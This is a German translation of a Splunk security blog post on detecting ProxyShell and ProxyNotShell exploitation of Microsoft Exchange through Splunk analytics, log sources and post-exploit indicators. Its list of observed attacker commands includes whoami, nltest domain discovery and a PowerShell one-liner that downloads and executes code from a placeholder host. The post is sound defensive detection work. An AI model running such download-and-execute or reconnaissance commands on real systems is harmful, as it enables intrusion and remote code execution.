Von ProxyShells und ProxyNotShells

Am 28. September informierte GTSC darüber, dass seit Anfang August eine mögliche neue Zero Day-Schwachstelle „in the wild“ ausgenutzt würde. Diese Kampagne ähnelte der zuvor ausgenutzten Microsoft Exchange-Schwachstelle, die damals die Bezeichnung ProxyShell erhielt und drei CVEs (CVE-2021-34473, CVE-2021-34523 und CVE-2021-31207) umfasste. Wenn diese drei CVEs kombiniert wurden, ermöglichten sie einem Angreifer Remote-Zugriff auf eine Exchange PowerShell-Sitzung, die dann missbräuchlich genutzt werden konnte. Die Tatsache, dass bei diesem neuen Zero Day-Exploit die bisherigen, für ProxyShell entwickelten Patches umgangen werden, bewegte GTSC dazu, sich das Ganze näher anzusehen. Die ganze Nacht und den ganzen nächsten Tag über ging es auf Twitter hoch her. Kevin Beaumont entwarf ein Logo und prägte den Namen „ProxyNotShell“. ProxyNotShell wurden zwei neue CVEs zugeordnet. Die erste, mit der Bezeichnung CVE-2022-41040, ist eine SSRF-Schwachstelle (Server-Side Request Forgery), und die zweite, CVE-2022-41082, ermöglicht die Remote-Codeausführung (RCE), wenn der Angreifer Zugriff auf PowerShell hat.  

On-Premise-Installationen von Microsoft Exchange sind heute vielleicht nicht mehr so weit verbreitet, sind aber offensichtlich nach wie vor ein Ziel. In diesem Blog wird gezeigt, wie ProxyShell und ProxyNotShell in Event-Logs aussehen und, wie Exploits gegen ProxyShell und ProxyNotShell eingesetzt werden können, um Inhalte zu generieren und die Jagd nach Exploits fortzusetzen.

In unserem Demo-Video führen wir euch mit MetaSploit Schritt für Schritt durch ProxyShell- und ProxyNotShell-Exploits und durchsuchen Daten in Splunk, um verschiedene Möglichkeiten zu zeigen, mit denen Sicherheitsteams böswillige Aktivitäten identifizieren können.

Patching und Proof of Concept/Exploits

ProxyShell wurde seit letztem Jahr gepatcht, doch erst beim Patch-Zyklus vom 8. November gab es einen Patch für ProxyNotShell bzw. CVE-2022-41040 und CVE-2022-41082. Ursprünglich stellte Microsoft hier Anleitungen zur Eindämmung und Erkennung bereit, die seither auch aktualisiert wurden. Wie wichtig ist die Installation von Patches? Das Unternehmen Greynoise, das Daten zu IPs, die das Internet durchsuchen, sammelt, analysiert und kategorisiert, meldet, dass noch immer aktiv sowohl nach ProxyShell (1,2) als auch ProxyNotShell (1) gesucht wird. ProxyShell wird wahrscheinlich häufiger genutzt, da dafür keine Authentifizierung erforderlich ist; allerdings wird mittlerweile reger Handel mit Anmeldeinformationen getrieben, und die einfache Verwendung von ProxyNotShell ermöglicht den einfachen ersten Zugang. Hier hilft letztendlich nur, Patches zu installieren und sicherzustellen, dass es entsprechende Logs gibt, um Exploits oder verdächtige Aktivitäten zu erkennen.

POCs und Exploits

Nachdem die ProxyNotShell-Patches veröffentlicht wurden, kam die Bereitstellung von Exploit-Codes in Gang. Nach einer einfachen Suche auf GitHub wurden zwei Skripts veröffentlicht, und ein neues MetaSploit-Modul wurde mit einer Implementierung zur Ausnutzung von ProxyNotShell versehen. Das sehen wir uns genauer an.

Am 16. November veröffentlichte Testanull https://github.com/testanull/ProxyNotShell-PoC, und nicht lange danach berichtete Will Dormann auf Twitter über seine Tests:

Am 17. November teilte ZeroSteiner ein Pull-Request an MetaSploit, das Zugriff auf den Exploit in einer gängigen Methode gibt und außerdem eine Umgehung für den Exchange Emergency Mitigation (EM)-Service – oder das von Microsoft empfohlene IIS-URL-Rewrite-Modul bereitstellt. Darüber hinaus beinhaltet der Pull-Request ein Update für den ProxyShell-Exploit.

Wie sieht das in MetaSploit aus?

ProxyShell – MetaSploit

Bei erfolgreicher Ausführung für einen anfälligen Exchange-Server könnte die Ausgabe in MetaSploit ungefähr so aussehen:

ProxyNotShell – MetaSploit

Der Hauptunterschied zwischen ProxyShell und ProxyNotShell ist die Authentifizierung. Dieses neue Modul erfordert die Angabe eines Benutzernamens und Passworts.

Ein erfolgreicher Versuch in MetaSploit könnte wie folgt aussehen:

Bei unseren Tests mit einem privilegierten Konto (Administrator) und einem nicht privilegierten Konto funktionierten beide problemlos. Wenn ihr eine Live-Vorführung sehen möchtet, schaut euch das Video am Anfang dieses Blogs an, um weiteren Kontext und Details zur Verwendung der einzelnen Exploits zu erhalten. 

In den Logs

Als Nächstes gehen wir zusammen schrittweise unsere Analysen durch, mit denen Sicherheitsteams ProxyShell und/oder ProxyNotShell identifizieren können. Da diese beiden sehr ähnlich sind, da sie nur Varianten voneinander sind, werden wir im Laufe der Erklärungen auf die Unterschiede hinweisen.

Die folgende Abfrage aus unserer Analyse Detect Exchange Web Shell nutzt den Knoten „filesystem“ des Datenmodells „Endpoint“ zum Identifizieren von ashx- und asp-Dateischreibvorgängen in drei Pfaden ("*\\HttpProxy\\owa\\auth\\*", "*\\inetpub\\wwwroot\\aspnet_client\\*", "*\\HttpProxy\\OAB\\*").

^{Splunk, 2023, (Detect Exchange Web Shell)}

Dabei werden nicht relevante Einträge für normale Dateien aus Exchange erzeugt. Filtert alle file_create_time-Elemente mit dem Wert „Null“ aus oder entfernt sie, da es sich dabei um native Dateien von Exchange handelt. Laut unseren Tests hängt dies mit ProxyShell zusammen, da ProxyNotShell keine asp* auf die Festplatte schreibt.

Ihr solltet euch nicht nur der Menge an nicht relevanter Ergebnisse bewusst sein, sondern eventuell auch die in der Abfrage enthaltenen file_names ausgeben und nach allen Dateitypen suchen, die in diese drei Pfade geschrieben werden – das könnte sich lohnen. In den umfangreichen Ergebnissen solltet ihr nach neuen, zufällig benannten Dateien der letzten Tage suchen.

Der folgende Screenshot zeigt die Webshell zusammen mit den Standarddateien, auf die innerhalb dieser Verzeichnisse zugegriffen wird.

^{Splunk, 2023, (Detect Exchange Web Shell, alle Dateitypen)}

Wir könnten jetzt nach weiteren Ansatzpunkten suchen: Wir kennen das Muster von ProxyShell und wir wissen, dass ProxyNotShell eine authentifizierte Version ist. Wir können Exploit-Code für ProxyShell und ProxyNotShell aus MetaSploit nutzen, um das Verhalten zu simulieren und eine Abfrage zu erstellen, die eval-Anweisungen verwendet, um einen Wert für bestimmte Aspekte dieses Angriffs zu erhalten, sodass man Muster erkennen kann.

Die Abfrage aus Windows Exchange Autodiscover SSRF Abuse nutzt das Datenmodell „Web“ für die Suche nach drei Schlüsselelementen: autodiscover, powershell und MAPI. Sicherheitsteams können problemlos neue eval-Anweisungen hinzufügen und den Namen in die Zeile „addtotals“ einfügen, um sie abzuschließen. Ändert den Wert „Score“ wie erforderlich. Dieses Muster und diese Analyse gelten sowohl für ProxyShell als auch für ProxyNotShell. In MetaSploit erzeugt der Code einen willkürlichen user@domain.

^{Splunk, 2023, (Windows Exchange Autodiscover SSRF Abuse)}

Um die Score-Werte zu sehen, gebt ihr die Zeile „fields“ aus. Die resultierende Ausgabe sieht dann ähnlich wie die Angaben auf der rechten Seite im folgenden Screenshot aus:

_{Splunk, 2023, (Windows Exchange Autodiscover SSRF Abuse, „Score“-Werte zur Risikobewertung)}

Eine weitere interessante Log-Quelle für die Erkennung von ProxyShell oder ProxyNotShell sind die Exchange Management-Logs. Wir mussten diese Logs manuell einlesen, da sie von IIS oder Exchange TA anscheinend nicht nativ erfasst werden. Wir haben folgende Eingaben verwendet:

[WinEventLog://MSExchange Management]
index=win
sourcetype=MSExchange:management
disabled = 0

Wir verwenden mehrere Zeilen, da das XML insofern ausführlich ist, als es keine bessere direkt einsetzbare Ereigniserfassung bietet. Die zugehörige Analyse findet ihr hier: Windows MSExchange Management Mailbox Cmdlet Usage

^{Splunk, 2023, (Windows MSExchange Management Mailbox Cmdlet Usage)}

Die Exchange Management-Logs enthalten umfangreiche Telemetriedaten zu den PowerShell-Cmdlets, die für Exchange ausgeführt werden. Mit EventID=1 erhalten wir die erfolgreich ausgeführte Abfrage, die auftrat. Wir haben die Analyse ähnlich wie unseren sonstigen PowerShell 4104-Inhalt zugeschnitten. 

Post-Exploit-Aktivitäten 

Der Fokus dieses Blogs wechselt zwischen ProxyShell und ProxyNotShell, er wäre jedoch unvollständig, wenn wir uns nicht auch der Zeit nach dem Exploit widmen würden. Je nach Angreifer variieren einige der Verhaltensweisen, doch in den meisten Fällen geht es vor allem um die Identifizierung gängiger Post-Exploit-Befehle. Zudem empfiehlt sich für Sicherheitsteams die Taktik, ein Canary Token zu implementieren, um nach Befehlen zur Netzwerkermittlung zu suchen, die Angreifer häufig verwenden. Hier findet ihr Informationen über Sensitive Command Token.

Etwas umfangreicher, aber dennoch lohnenswert, ist der Security-Content CMD Carry Out String Command Parameter. Die zugehörige Abfrage sucht nach Vorkommen von cmd.exe /c – ihr könnt sie euch als Möglichkeit vorstellen, einen Prozess im „Hintergrund“ oder in einer neuen Sitzung zu starten und nach seinem Abschluss dann zu beenden. Ganz unabhängig von ProxyShell oder ProxyNotShell könnt ihr damit Post-Exploit-Aktivitäten identifizieren.

_{Splunk, 2023, (CMD Carry Out String Command Parameter)}

Hier ist zu beachten, dass der oben abgebildete Screenshot von cmd.exe /c auch aus einer anderen Analyse stammt, und zwar W3WP Spawning Shell, die einfach nach cmd.exe oder einem PowerShell-Start über W3WP.exe sucht. Dies ist wahrscheinlich der zuverlässigste Indikator sowohl für ProxyShell als auch für ProxyNotShell.

^{Splunk, 2023, (W3WP Spawning Shell)}

Wenn wir wissen, dass PowerShell genutzt wurde, könnten wir Logdaten zu PowerShell-Skriptblöcken in Splunk aufnehmen. Das Splunk Threat Research Team (STRT) hat die Erfassung von PowerShell-Skriptblock-Logs bereits zuvor hier beschrieben. Nach der Erfassung führt ihr die Analyse PowerShell 4104 Hunting aus, um mögliche weitere, verdächtige PowerShell-Aktivitäten zu identifizieren. Die Ausgabe könnte wie folgt aussehen:

^{Splunk, 2023, (PowerShell 4104 Hunting)}

GTSC berichtet auch, dass Post-Exploit-Aktivitäten mit certutil.exe oder MITRE ATT&CK T1105 begannen, um Remote-Nutzlasten herunterzuladen.

GTSC:

Der folgende Security-Content kann euch helfen, erste Post-Exploit-Aktivitäten zu identifizieren:

CertUtil Download With URLCache and Split Arguments

_{Splunk, 2023, (CertUtil Download With URLCache and Split Arguments)}

Wie ihr seht, wurde dieses Verhalten mithilfe von Atomic Red Team T1105 hervorgerufen.

Vorhin haben wir uns mit Befehlen, die über W3WP.exe ausgeführt wurden, und der PowerShell-Erstellung mittels W3WP.exe befasst. Es gibt noch weitere Befehle, die zur Ermittlung von Informationen ausgeführt werden:

^{Splunk, 2023, (W3WP Spawning Shell)}

Zu diesen Befehlen gehören:

Whoami
Nltest /trusted_domains
Powershell.exe -nop -c “iex ((new-object net.webclient).downloadstring (‘http://example.com/host’)”

Dieses Verhalten lässt sich mit folgenden Analysen feststellen, die möglicherweise etwas angepasst werden müssen:

• System User Discovery With Whoami
• NLTest Domain Trust Discovery
• Any Powershell DownloadString

Erkennung

Das Splunk Threat Research Team hat neue und alte Analysen zusammengestellt und sie sowohl als ProxyShell- als auch als ProxyNotShell-Analysen gekennzeichnet, um Sicherheitsanalysten bei der Erkennung von Angreifern zu unterstützen, die ProxyShell oder ProxyNotShell nutzen. Diese Analysen stellen 11 Erkennungsanalysen zu verschiedenen MITRE ATT&CK-Techniken vor.

Für diesen Artikel haben wir die relevanten Quellen für Endpunkttelemetriedaten berücksichtigt und genutzt:

• Logs zu Prozessausführung und Befehlszeile
• Windows Security Event Id 4688, Sysmon oder eine andere, mit dem Common Information Model konforme EDR-Technologie.
• Windows-Sicherheitsereignisprotokoll
• Windows-Systemereignisprotokoll
• PowerShell-Skriptblock-Logs (EventCode 4104)
• Microsoft Exchange Management-Logs

Warum sollte euch das überhaupt interessieren?

Diese Untersuchung und die Sicherheitsinhalte des Splunk Threat Research Teams (STRT) ermöglichen Sicherheitsanalysten, dem Verteidigungsteam und Splunk-Kunden, ProxyShell und ProxyNotShell zu identifizieren. Nachdem wir das Verhalten der Angreifer verstanden, konnten wir Telemetriedaten und Datensets generieren, um Splunk-Erkennungsanalysen zu entwickeln und zu testen, die zur Abwehr und Reaktion auf diese Bedrohungen dienen sollten.

Mehr erfahren

Ihr findet die neuesten Inhalte zu Sicherheitsanalysen auf GitHub und in Splunkbase. Außerdem stehen alle diese Erkennungsanalysen auch in Splunk Security Essentials zur Verfügung. 

Eine vollständige Liste der Inhalte zum Thema Sicherheit findet ihr in den Release Notes auf Splunk Docs.

Feedback

Habt ihr Feedback oder Anfragen? Bitte erstellt dazu einen Issue-Eintrag in GitHub, damit wir dem nachgehen können. Alternativ könnt ihr auch den Slack-Kanal #security-research verwenden. Folgt einfach dieser Anleitung, wenn ihr eine Einladung zu unseren Splunk-Benutzergruppen in Slack benötigt.

Mitwirkende

Unser Dank geht an den Autor Michael Haag dieses Blogs sowie an Lou Stella, Mauricio Velazco, Rod Soto, Jose Hernandez, Patrick Bareiss, Bhavin Patel, Teoderick Contreras und Eric McGinnis für ihre Mitwirkung.

Weitere Referenzinformationen:

• https://unit42.paloaltonetworks.com/proxynotshell-cve-2022-41040-cve-2022-41082/
• https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
• https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html

Vorhergehende Splunk-Blogs zu ProxyShell

• Automated Clean-up of HAFNIUM Shells and Processes with Splunk Phantom
• Detecting Microsoft Exchange Vulnerabilities - 0 + 8 Days Later…
• Detecting HAFNIUM Exchange Server Zero-Day Activity in Splunk

_{*Dieser Artikel wurde aus dem Englischen übersetzt und editiert. Den Originalblogpost findet ihr hier.}